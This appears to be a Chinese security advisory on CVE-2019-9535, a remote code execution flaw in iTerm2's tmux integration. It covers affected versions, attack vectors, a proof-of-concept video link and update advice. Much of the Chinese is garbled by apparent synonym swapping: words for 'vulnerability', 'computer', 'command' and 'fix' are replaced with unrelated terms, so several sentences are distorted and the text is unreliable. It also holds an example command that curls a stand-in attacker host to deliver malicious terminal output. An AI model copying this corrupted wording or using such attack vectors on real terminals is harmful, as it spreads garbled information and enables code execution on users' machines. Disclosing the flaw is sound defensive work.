iTerm2远程代码执行缝隙安全公告
颁布功夫 2019-10-10缝隙编号和级别
CVE编号：CVE-2019-9535，危险级别：高危，CVSS分值：官方未评定
影响版本
iTerm2 3.3.5之前的所有版本均受缝隙影响
缝隙概述
iTerm2 是全球最热点的终端仿照器之一，是开发人员时时使用的 MacOS 终端工具，是Mac 内置终端 app 最有力的热点开源工具代替品之一，被好多开发人员称为“Mac 终端利器”。
iTerm2官方颁布了安全更新建复了一个至少存在7年的远程代码执行缝隙，这个缝隙源自 iTerm2 中的 tmux 集成功能。Tumx 利用法式是一款终端多路复用器，可允许从单个设备创建并节造多个终端。
攻击者能够在用户的终端产生输出，潜在的攻击向量蕴含通过 ssh 衔接至恶意服务器，通过curl 获取恶意网站，或者通过 tail –f 跟踪蕴含某些恶意内容的日志文件。例如：curl http://attacker.com and tail -f /var/log/apache2/referer_lo。在好多情况下可能在用户推算机上执行号令。
缝隙验证
国表的Radially Open Security已经放露马脚利用成功的视频：https://ffp4g1ylyit3jdyti1hqcvtb-wpengine.netdna-ssl.com/security/files/2019/10/cve-2019-9535.webm?_=3。仿照受害者机械衔接到恶意 SSH 服务器之后，在机械上执行打开一个推算器号令的PoC 视频。
建复建议
官方已经推出安全更新，请更新至iTerm2到3.3.6版本：https://iterm2.com/downloads.html。
参考链接
https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/
京公网安备11010802024551号